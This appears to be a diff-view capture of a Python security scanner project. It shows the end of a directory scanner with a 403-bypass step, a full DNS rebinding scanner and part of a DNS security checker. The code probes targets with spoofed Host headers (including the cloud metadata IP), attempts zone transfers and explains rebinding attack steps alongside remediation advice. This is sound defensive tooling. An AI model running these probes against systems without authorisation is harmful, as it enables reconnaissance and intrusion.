+
exposed_count += 1
|
| 739 |
+
elif classification == "redirect":
|
| 740 |
+
self.log("INFO", f"[DirScan] Redirect (HTTP {status}): {url}")
|
| 741 |
+
elif classification == "auth_required":
|
| 742 |
+
self.log("INFO", f"[DirScan] Auth required (HTTP {status}): {url}")
|
| 743 |
+
elif classification == "forbidden":
|
| 744 |
+
bypassed, method = self._bypass_403(url, path)
|
| 745 |
+
if bypassed:
|
| 746 |
+
self.log("CRITICAL", f"[DirScan] 403 BYPASSED ({method}): {url}")
|
| 747 |
+
self.add_vuln(
|
| 748 |
+
title=title, severity=severity, category="Exposed Files",
|
| 749 |
+
cvss_score=cvss,
|
| 750 |
+
description=f"{description}\n\nExposed at: {url}\nBypass method: {method}",
|
| 751 |
+
remediation=remediation,
|
| 752 |
+
evidence=f"403 bypassed via {method}",
|
| 753 |
+
response_details=f"HTTP 403 bypassed to 200",
|
| 754 |
+
confidence="Confirmed",
|
| 755 |
+
)
|
| 756 |
+
exposed_count += 1
|
| 757 |
+
else:
|
| 758 |
+
self.log("INFO", f"[DirScan] Protected (HTTP {status}): {url} \u2714")
|
| 759 |
+
elif classification == "rate_limited":
|
| 760 |
+
self.log("WARNING", f"[DirScan] Rate limited (HTTP {status}): {url}")
|
| 761 |
+
elif classification == "not_found":
|
| 762 |
+
self.log("SUCCESS", f"[DirScan] Not found: {path} \u2714")
|
| 763 |
+
else:
|
| 764 |
+
self.log("INFO", f"[DirScan] Status {status}: {url}")
|
| 765 |
+
|
| 766 |
+
self.log("SUCCESS" if exposed_count == 0 else "WARNING",
|
| 767 |
+
f"[DirScan] Scan complete. {exposed_count} exposed path(s) found.")
|
| 768 |
+
return self.vulns
|
backend/scanners/dns_rebinding_scanner.py
ADDED
|
@@ -0,0 +1,267 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
dns_rebinding_scanner.py — DNS Rebinding Scanner
|
| 3 |
+
=================================================
|
| 4 |
+
Expert-grade rewrite (GAP-011 fix):
|
| 5 |
+
1. Real TTL check via low-level DNS query (struct-based) + socket fallback
|
| 6 |
+
2. Multiple resolution comparison with jitter guard (avoids CDN false positives)
|
| 7 |
+
3. Host header validation check (actual defense verification)
|
| 8 |
+
4. Private IP detection on resolved addresses
|
| 9 |
+
5. CORS + DNS rebinding chain check
|
| 10 |
+
"""
|
| 11 |
+
import socket, time, struct
|
| 12 |
+
import urllib.parse
|
| 13 |
+
from scanners.base_scanner import BaseScanner
|
| 14 |
+
|
| 15 |
+
# TTL threshold — anything below this is a rebinding risk
|
| 16 |
+
LOW_TTL_THRESHOLD = 30 # seconds
|
| 17 |
+
|
| 18 |
+
# Private IP ranges to check resolved IPs against
|
| 19 |
+
import ipaddress
|
| 20 |
+
PRIVATE_NETWORKS = [
|
| 21 |
+
ipaddress.ip_network("10.0.0.0/8"),
|
| 22 |
+
ipaddress.ip_network("172.16.0.0/12"),
|
| 23 |
+
ipaddress.ip_network("192.168.0.0/16"),
|
| 24 |
+
ipaddress.ip_network("127.0.0.0/8"),
|
| 25 |
+
ipaddress.ip_network("169.254.0.0/16"),
|
| 26 |
+
]
|
| 27 |
+
|
| 28 |
+
|
| 29 |
+
def _is_private(ip_str: str) -> bool:
|
| 30 |
+
try:
|
| 31 |
+
ip = ipaddress.ip_address(ip_str)
|
| 32 |
+
return any(ip in net for net in PRIVATE_NETWORKS)
|
| 33 |
+
except ValueError:
|
| 34 |
+
return False
|
| 35 |
+
|
| 36 |
+
|
| 37 |
+
def _query_dns_ttl(hostname: str, timeout: float = 3.0) -> int | None:
|
| 38 |
+
"""
|
| 39 |
+
Perform a raw DNS UDP query to get the actual TTL from the A record.
|
| 40 |
+
Returns TTL in seconds, or None if the query fails.
|
| 41 |
+
This avoids relying on the OS DNS cache (which resets TTL).
|
| 42 |
+
"""
|
| 43 |
+
try:
|
| 44 |
+
# Build minimal DNS query for A record
|
| 45 |
+
qname = b""
|
| 46 |
+
for label in hostname.encode().split(b"."):
|
| 47 |
+
qname += bytes([len(label)]) + label
|
| 48 |
+
qname += b"\x00" # root label
|
| 49 |
+
|
| 50 |
+
# Random transaction ID
|
| 51 |
+
txid = b"\xab\xcd"
|
| 52 |
+
header = txid + b"\x01\x00" # QR=0, OPCODE=0, RD=1
|
| 53 |
+
header += b"\x00\x01" # QDCOUNT=1
|
| 54 |
+
header += b"\x00\x00\x00\x00\x00\x00" # ANCOUNT NSCOUNT ARCOUNT = 0
|
| 55 |
+
question = qname + b"\x00\x01\x00\x01" # QTYPE=A QCLASS=IN
|
| 56 |
+
|
| 57 |
+
packet = header + question
|
| 58 |
+
|
| 59 |
+
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
|
| 60 |
+
s.settimeout(timeout)
|
| 61 |
+
s.connect(("8.8.8.8", 53))
|
| 62 |
+
s.send(packet)
|
| 63 |
+
response = s.recv(4096)
|
| 64 |
+
|
| 65 |
+
# Parse answer section — skip header (12 bytes) + question section
|
| 66 |
+
# Answer section starts after the question section
|
| 67 |
+
# Question section = qname + 4 bytes (qtype + qclass)
|
| 68 |
+
q_offset = 12 + len(qname) + 4
|
| 69 |
+
if len(response) < q_offset + 12:
|
| 70 |
+
return None
|
| 71 |
+
|
| 72 |
+
# Parse first answer record
|
| 73 |
+
# NAME (2 bytes compressed ptr), TYPE (2), CLASS (2), TTL (4), RDLENGTH (2)
|
| 74 |
+
ans_offset = q_offset
|
| 75 |
+
# Handle compressed name pointer (0xC0 xx)
|
| 76 |
+
if response[ans_offset] & 0xC0 == 0xC0:
|
| 77 |
+
ans_offset += 2
|
| 78 |
+
else:
|
| 79 |
+
# Walk the name
|
| 80 |
+
while ans_offset < len(response) and response[ans_offset] != 0:
|
| 81 |
+
ans_offset += response[ans_offset] + 1
|
| 82 |
+
ans_offset += 1
|
| 83 |
+
|
| 84 |
+
if ans_offset + 10 > len(response):
|
| 85 |
+
return None
|
| 86 |
+
|
| 87 |
+
rtype, rclass, ttl = struct.unpack("!HHI", response[ans_offset:ans_offset + 8])
|
| 88 |
+
if rtype == 1: # A record
|
| 89 |
+
return ttl
|
| 90 |
+
return None
|
| 91 |
+
except Exception as e:
|
| 92 |
+
print(f"ERROR: [DNSRebind] _query_dns_ttl error: {e}")
|
| 93 |
+
return None
|
| 94 |
+
|
| 95 |
+
|
| 96 |
+
class DnsRebindingScanner(BaseScanner):
|
| 97 |
+
SCANNER_NAME = "DNS Rebinding Scanner"
|
| 98 |
+
_SCANNER_KEY = "dns_rebinding"
|
| 99 |
+
|
| 100 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 101 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 102 |
+
|
| 103 |
+
def run(self) -> list:
|
| 104 |
+
self.log("INFO", f"[DNSRebind] Checking DNS rebinding for {self.domain}...")
|
| 105 |
+
|
| 106 |
+
# 1. Check actual DNS TTL via raw query
|
| 107 |
+
self._check_ttl()
|
| 108 |
+
|
| 109 |
+
# 2. Check if resolved IP is in a private range (misconfigured DNS)
|
| 110 |
+
self._check_private_ip_resolution()
|
| 111 |
+
|
| 112 |
+
# 3. Verify Host header validation (actual defense)
|
| 113 |
+
self._check_host_header_validation()
|
| 114 |
+
|
| 115 |
+
# 4. Multi-resolution instability check with jitter guard
|
| 116 |
+
self._check_resolution_instability()
|
| 117 |
+
|
| 118 |
+
if not self.vulns:
|
| 119 |
+
self.log("SUCCESS", "[DNSRebind] No DNS rebinding indicators found.")
|
| 120 |
+
return self.vulns
|
| 121 |
+
|
| 122 |
+
# ── 1. TTL check ──────────────────────────────────────────────────────
|
| 123 |
+
def _check_ttl(self):
|
| 124 |
+
ttl = _query_dns_ttl(self.domain)
|
| 125 |
+
if ttl is None:
|
| 126 |
+
self.log("INFO", f"[DNSRebind] Could not retrieve TTL for {self.domain} (raw DNS query).")
|
| 127 |
+
return
|
| 128 |
+
self.log("INFO", f"[DNSRebind] TTL for {self.domain}: {ttl}s")
|
| 129 |
+
if ttl < LOW_TTL_THRESHOLD:
|
| 130 |
+
self.add_vuln(
|
| 131 |
+
title=f"DNS Rebinding Risk — Extremely Low TTL ({ttl}s)",
|
| 132 |
+
severity="Medium",
|
| 133 |
+
category="DNS Rebinding",
|
| 134 |
+
cvss_score=5.3,
|
| 135 |
+
confidence="High",
|
| 136 |
+
references=["https://attack.mitre.org/techniques/T1557/"],
|
| 137 |
+
description=(
|
| 138 |
+
f"The domain `{self.domain}` has a DNS TTL of **{ttl} seconds**, "
|
| 139 |
+
f"well below the safe minimum of {LOW_TTL_THRESHOLD}s.\n\n"
|
| 140 |
+
"A low TTL allows an attacker to:\n"
|
| 141 |
+
"1. Have the victim visit their domain (resolves to attacker IP)\n"
|
| 142 |
+
"2. Quickly re-point the DNS to `127.0.0.1` or a private IP\n"
|
| 143 |
+
"3. Browser's Same-Origin Policy now allows the page to make requests "
|
| 144 |
+
"to `localhost` (bypassing SSRF filters)\n\n"
|
| 145 |
+
"This enables reading internal APIs, attacking localhost services, "
|
| 146 |
+
"and bypassing IP-based access controls."
|
| 147 |
+
),
|
| 148 |
+
remediation=(
|
| 149 |
+
f"1. Set DNS TTL to at least 300 seconds (5 minutes) for all A/AAAA records.\n"
|
| 150 |
+
"2. Implement **DNS pinning** in your HTTP client/browser.\n"
|
| 151 |
+
"3. Validate the `Host` header against a strict allowlist on every request.\n"
|
| 152 |
+
"4. Reject requests from private/loopback IPs at the load balancer level."
|
| 153 |
+
),
|
| 154 |
+
)
|
| 155 |
+
|
| 156 |
+
# ── 2. Private IP resolution ──────────────────────────────────────────
|
| 157 |
+
def _check_private_ip_resolution(self):
|
| 158 |
+
try:
|
| 159 |
+
infos = socket.getaddrinfo(self.domain, 443)
|
| 160 |
+
ips = {info[4][0] for info in infos}
|
| 161 |
+
for ip in ips:
|
| 162 |
+
if _is_private(ip):
|
| 163 |
+
self.add_vuln(
|
| 164 |
+
title=f"DNS Resolves to Private IP — Rebinding Risk ({ip})",
|
| 165 |
+
severity="High",
|
| 166 |
+
category="DNS Rebinding",
|
| 167 |
+
cvss_score=7.5,
|
| 168 |
+
confidence="Confirmed",
|
| 169 |
+
description=(
|
| 170 |
+
f"The domain `{self.domain}` resolves to `{ip}`, "
|
| 171 |
+
"which is a **private/internal IP address**.\n\n"
|
| 172 |
+
"This directly enables DNS rebinding: if the browser trusted this "
|
| 173 |
+
"domain, it can now make cross-origin requests to internal services "
|
| 174 |
+
"as if coming from the same origin."
|
| 175 |
+
),
|
| 176 |
+
remediation=(
|
| 177 |
+
"1. Never configure public domain names to resolve to private IP addresses.\n"
|
| 178 |
+
"2. Use split-horizon DNS — separate internal and external DNS views.\n"
|
| 179 |
+
"3. Block DNS responses resolving to private ranges (DNS firewall)."
|
| 180 |
+
),
|
| 181 |
+
)
|
| 182 |
+
except Exception as e:
|
| 183 |
+
self.log("INFO", f"[DNSRebind] DNS resolution error: {e}")
|
| 184 |
+
|
| 185 |
+
# ── 3. Host header validation ─────────────────────────────────────────
|
| 186 |
+
def _check_host_header_validation(self):
|
| 187 |
+
"""
|
| 188 |
+
Check if the server validates the Host header.
|
| 189 |
+
Send requests with a spoofed Host header — if the server responds normally,
|
| 190 |
+
it doesn't validate Host (weak rebinding defense).
|
| 191 |
+
"""
|
| 192 |
+
parsed = urllib.parse.urlparse(self.target)
|
| 193 |
+
spoofed_hosts = [
|
| 194 |
+
"127.0.0.1",
|
| 195 |
+
"localhost",
|
| 196 |
+
"169.254.169.254",
|
| 197 |
+
f"evil.{self.domain}",
|
| 198 |
+
]
|
| 199 |
+
for spoofed in spoofed_hosts:
|
| 200 |
+
resp, status = self._make_request(self.target, headers={"Host": spoofed})
|
| 201 |
+
if resp and status == 200:
|
| 202 |
+
self.log("WARNING",
|
| 203 |
+
f"[DNSRebind] Server accepted spoofed Host header: {spoofed} (status 200)")
|
| 204 |
+
self.add_vuln(
|
| 205 |
+
title="Weak Host Header Validation — DNS Rebinding Facilitator",
|
| 206 |
+
severity="Medium",
|
| 207 |
+
category="DNS Rebinding",
|
| 208 |
+
cvss_score=4.3,
|
| 209 |
+
confidence="High",
|
| 210 |
+
description=(
|
| 211 |
+
f"The server returned HTTP 200 when the `Host` header was set to "
|
| 212 |
+
f"`{spoofed}` instead of the legitimate domain.\n\n"
|
| 213 |
+
"Proper Host header validation is the **primary defense** against DNS rebinding. "
|
| 214 |
+
"Without it, a rebinding attack can successfully pivot the browser "
|
| 215 |
+
"to access internal services."
|
| 216 |
+
),
|
| 217 |
+
remediation=(
|
| 218 |
+
"1. Validate the `Host` header against a strict allowlist of known domains.\n"
|
| 219 |
+
"2. In nginx: define `server_name` explicitly and use `default_server` to reject unknowns.\n"
|
| 220 |
+
"3. In Express: use `vhost` middleware or validate `req.hostname`.\n"
|
| 221 |
+
"4. Reject requests with `Host` set to IP addresses or unrecognized domains."
|
| 222 |
+
),
|
| 223 |
+
)
|
| 224 |
+
return # One finding is enough
|
| 225 |
+
|
| 226 |
+
# ── 4. Resolution instability (with jitter guard) ─────────────────────
|
| 227 |
+
def _check_resolution_instability(self):
|
| 228 |
+
"""
|
| 229 |
+
Resolve domain 5 times with 2s gaps.
|
| 230 |
+
Only flag if ALL resolutions differ — single CDN rotation is normal.
|
| 231 |
+
GAP-011: 1-second sleep caused massive false positives on CDNs.
|
| 232 |
+
"""
|
| 233 |
+
results = []
|
| 234 |
+
for _ in range(5):
|
| 235 |
+
try:
|
| 236 |
+
ips = {info[4][0] for info in socket.getaddrinfo(self.domain, 443)}
|
| 237 |
+
results.append(frozenset(ips))
|
| 238 |
+
except Exception as e:
|
| 239 |
+
self.log("ERROR", f"[DNSRebind] resolution check error: {e}")
|
| 240 |
+
time.sleep(2)
|
| 241 |
+
|
| 242 |
+
if len(results) < 3:
|
| 243 |
+
return
|
| 244 |
+
|
| 245 |
+
# If every resolution returned a different set, that's suspicious
|
| 246 |
+
unique_sets = set(results)
|
| 247 |
+
if len(unique_sets) == len(results) and len(results) >= 3:
|
| 248 |
+
self.log("WARNING",
|
| 249 |
+
f"[DNSRebind] Domain resolved to a different IP on every check — "
|
| 250 |
+
f"possible rapid DNS rebinding. Results: {[set(r) for r in results]}")
|
| 251 |
+
self.add_vuln(
|
| 252 |
+
title="DNS Resolution Instability — Possible DNS Rebinding",
|
| 253 |
+
severity="Low",
|
| 254 |
+
category="DNS Rebinding",
|
| 255 |
+
cvss_score=3.1,
|
| 256 |
+
confidence="Medium",
|
| 257 |
+
description=(
|
| 258 |
+
f"The domain `{self.domain}` resolved to a different IP address "
|
| 259 |
+
f"on each of {len(results)} consecutive checks (2s apart), "
|
| 260 |
+
"which is unusual and may indicate rapid DNS record rotation "
|
| 261 |
+
"consistent with DNS rebinding infrastructure."
|
| 262 |
+
),
|
| 263 |
+
remediation=(
|
| 264 |
+
"Investigate whether the DNS operator is intentionally rotating records. "
|
| 265 |
+
"Set minimum TTL to 300s. Implement DNS pinning."
|
| 266 |
+
),
|
| 267 |
+
)
|
backend/scanners/dns_security_scanner.py
ADDED
|
@@ -0,0 +1,279 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
dns_security_scanner.py — DNS security analysis using DNSPython.
|
| 3 |
+
Performs comprehensive DNS security checks including zone transfer, DNSSEC, and record analysis.
|
| 4 |
+
"""
|
| 5 |
+
import dns.resolver, dns.query, dns.message, dns.rdatatype
|
| 6 |
+
from scanners.base_scanner import BaseScanner
|
| 7 |
+
|
| 8 |
+
class DNSSecurityScanner(BaseScanner):
|
| 9 |
+
SCANNER_NAME = "DNS Security Analyzer"
|
| 10 |
+
|
| 11 |
+
def run(self):
|
| 12 |
+
self.log("INFO", f"[DNS Security] Starting comprehensive DNS analysis for {self.domain}...")
|
| 13 |
+
|
| 14 |
+
# Perform various DNS security checks
|
| 15 |
+
self._check_zone_transfer()
|
| 16 |
+
self._check_dnssec()
|
| 17 |
+
self._check_mx_records()
|
| 18 |
+
self._check_spf()
|
| 19 |
+
self._check_dmarc()
|
| 20 |
+
self._check_wildcard_dns()
|
| 21 |
+
self._check_dns_cache_poisoning()
|
| 22 |
+
self._check_caa_records()
|
| 23 |
+
|
| 24 |
+
self.log("SUCCESS", "[DNS Security] DNS analysis complete.")
|
| 25 |
+
return self.vulns
|
| 26 |
+
|
| 27 |
+
def _check_zone_transfer(self):
|
| 28 |
+
"""Check for DNS zone transfer vulnerability."""
|
| 29 |
+
self.log("INFO", "[DNS Security] Checking for zone transfer vulnerability...")
|
| 30 |
+
|
| 31 |
+
try:
|
| 32 |
+
# Get authoritative nameservers
|
| 33 |
+
ns_answers = dns.resolver.resolve(self.domain, 'NS')
|
| 34 |
+
nameservers = [rdata.target.to_text().rstrip('.') for rdata in ns_answers]
|
| 35 |
+
|
| 36 |
+
for ns in nameservers[:2]: # Check first 2 nameservers only (faster)
|
| 37 |
+
try:
|
| 38 |
+
# Attempt AXFR (zone transfer) — short timeout for speed
|
| 39 |
+
zone_query = dns.query.xfr(ns, self.domain, timeout=5)
|
| 40 |
+
zone_response = next(zone_query)
|
| 41 |
+
|
| 42 |
+
if zone_response:
|
| 43 |
+
self.log("CRITICAL", f"[DNS Security] ZONE TRANSFER VULNERABLE on {ns}!")
|
| 44 |
+
self.add_vuln(
|
| 45 |
+
title="DNS Zone Transfer Vulnerability",
|
| 46 |
+
severity="Critical", category="DNS Security", cvss_score=9.8,
|
| 47 |
+
description=f"DNS zone transfer (AXFR) is allowed from {ns}. This exposes all DNS records including internal hostnames, mail servers, and other sensitive infrastructure details.",
|
| 48 |
+
remediation="Disable zone transfers to unauthorized servers:\n BIND: allow-transfer { trusted_ips; };\n Ensure only authorized secondary nameservers can perform AXFR."
|
| 49 |
+
)
|
| 50 |
+
return # Found vulnerability, no need to check others
|
| 51 |
+
except dns.exception.DNSException:
|
| 52 |
+
# Expected if zone transfer is disabled
|
| 53 |
+
pass
|
| 54 |
+
except OSError as e:
|
| 55 |
+
# Network-level errors (timeout, connection refused) are expected
|
| 56 |
+
err_msg = str(e).strip()
|
| 57 |
+
if err_msg:
|
| 58 |
+
self.log("DEBUG", f"[DNS Security] Zone transfer network error on {ns}: {err_msg}")
|
| 59 |
+
except Exception as e:
|
| 60 |
+
err_msg = str(e).strip()
|
| 61 |
+
if err_msg:
|
| 62 |
+
self.log("DEBUG", f"[DNS Security] Nameserver query error on {ns}: {err_msg}")
|
| 63 |
+
|
| 64 |
+
self.log("SUCCESS", "[DNS Security] Zone transfer properly secured.")
|
| 65 |
+
|
| 66 |
+
except dns.resolver.NoNameservers:
|
| 67 |
+
self.log("WARNING", "[DNS Security] Could not retrieve nameservers.")
|
| 68 |
+
except Exception as e:
|
| 69 |
+
self.log("WARNING", f"[DNS Security] Zone transfer check failed: {e}")
|
| 70 |
+
|
| 71 |
+
def _check_dnssec(self):
|
| 72 |
+
"""Check for DNSSEC implementation."""
|
| 73 |
+
self.log("INFO", "[DNS Security] Checking DNSSEC implementation...")
|
| 74 |
+
|
| 75 |
+
try:
|
| 76 |
+
# Check for DNSKEY records
|
| 77 |
+
dnskey_answers = dns.resolver.resolve(self.domain, 'DNSKEY')
|
| 78 |
+
if dnskey_answers:
|
| 79 |
+
self.log("SUCCESS", "[DNS Security] DNSSEC is implemented.")
|
| 80 |
+
return
|
| 81 |
+
except dns.resolver.NoAnswer:
|
| 82 |
+
pass
|
| 83 |
+
except Exception as e:
|
| 84 |
+
self.log("ERROR", f"[DNS Security] DNSKEY query error: {e}")
|
| 85 |
+
|
| 86 |
+
self.log("WARNING", "[DNS Security] DNSSEC not implemented.")
|
| 87 |
+
self.add_vuln(
|
| 88 |
+
title="DNSSEC Not Implemented",
|
| 89 |
+
severity="Medium", category="DNS Security", cvss_score=5.3,
|
| 90 |
+
description=f"The domain {self.domain} does not have DNSSEC implemented. This makes it vulnerable to DNS cache poisoning and spoofing attacks.",
|
| 91 |
+
remediation="Implement DNSSEC:\n 1. Generate DNSSEC keys\n 2. Sign your zone files\n 3. Upload DS records to your registrar\n 4. Verify with: dig +dnssec {self.domain}"
|
| 92 |
+
)
|
| 93 |
+
|
| 94 |
+
def _check_mx_records(self):
|
| 95 |
+
"""Check MX records for security issues."""
|
| 96 |
+
self.log("INFO", "[DNS Security] Analyzing MX records...")
|
| 97 |
+
|
| 98 |
+
try:
|
| 99 |
+
mx_answers = dns.resolver.resolve(self.domain, 'MX')
|
| 100 |
+
mx_servers = [rdata.exchange.to_text().rstrip('.') for rdata in mx_answers]
|
| 101 |
+
|
| 102 |
+
if mx_servers:
|
| 103 |
+
self.log("SUCCESS", f"[DNS Security] MX Records: {', '.join(mx_servers[:3])}")
|
| 104 |
+
|
| 105 |
+
# Check for common mail server security issues
|
| 106 |
+
for mx in mx_servers:
|
| 107 |
+
# Check if MX points to IP directly (bad practice)
|
| 108 |
+
if mx.replace('.', '').isdigit():
|
| 109 |
+
self.log("WARNING", f"[DNS Security] MX record points to IP: {mx}")
|
| 110 |
+
self.add_vuln(
|
| 111 |
+
title="MX Record Points to IP Address",
|
| 112 |
+
severity="Low", category="DNS Security", cvss_score=3.1,
|
| 113 |
+
description=f"MX record for {self.domain} points to IP address {mx} instead of a hostname. This is not a best practice.",
|
| 114 |
+
remediation="Update MX records to point to hostnames instead of IP addresses."
|
| 115 |
+
)
|
| 116 |
+
else:
|
| 117 |
+
self.log("INFO", "[DNS Security] No MX records found.")
|
| 118 |
+
|
| 119 |
+
except dns.resolver.NoAnswer:
|
| 120 |
+
self.log("INFO", "[DNS Security] No MX records found.")
|
| 121 |
+
except Exception as e:
|
| 122 |
+
self.log("WARNING", f"[DNS Security] MX check failed: {e}")
|
| 123 |
+
|
| 124 |
+
def _check_spf(self):
|
| 125 |
+
"""Check for SPF record."""
|
| 126 |
+
self.log("INFO", "[DNS Security] Checking SPF record...")
|
| 127 |
+
|
| 128 |
+
try:
|
| 129 |
+
txt_answers = dns.resolver.resolve(self.domain, 'TXT')
|
| 130 |
+
spf_found = False
|
| 131 |
+
|
| 132 |
+
for rdata in txt_answers:
|
| 133 |
+
txt = rdata.to_text()
|
| 134 |
+
if 'v=spf1' in txt:
|
| 135 |
+
spf_found = True
|
| 136 |
+
self.log("SUCCESS", f"[DNS Security] SPF Record: {txt[:100]}")
|
| 137 |
+
|
| 138 |
+
# Check for ~all vs -all
|
| 139 |
+
if '~all' in txt:
|
| 140 |
+
self.log("WARNING", "[DNS Security] SPF uses ~all (soft fail)")
|
| 141 |
+
self.add_vuln(
|
| 142 |
+
title="SPF Uses Soft Fail (~all)",
|
| 143 |
+
severity="Low", category="DNS Security", cvss_score=3.1,
|
| 144 |
+
description=f"SPF record for {self.domain} uses ~all (soft fail) instead of -all (hard fail). This may allow some spoofed emails to pass.",
|
| 145 |
+
remediation="Consider changing ~all to -all in your SPF record for stricter email validation."
|
| 146 |
+
)
|
| 147 |
+
break
|
| 148 |
+
|
| 149 |
+
if not spf_found:
|
| 150 |
+
self.log("WARNING", "[DNS Security] No SPF record found.")
|
| 151 |
+
self.add_vuln(
|
| 152 |
+
title="SPF Record Missing",
|
| 153 |
+
severity="Medium", category="DNS Security", cvss_score=5.3,
|
| 154 |
+
description=f"No SPF (Sender Policy Framework) record found for {self.domain}. This allows email spoofing and increases spam risk.",
|
| 155 |
+
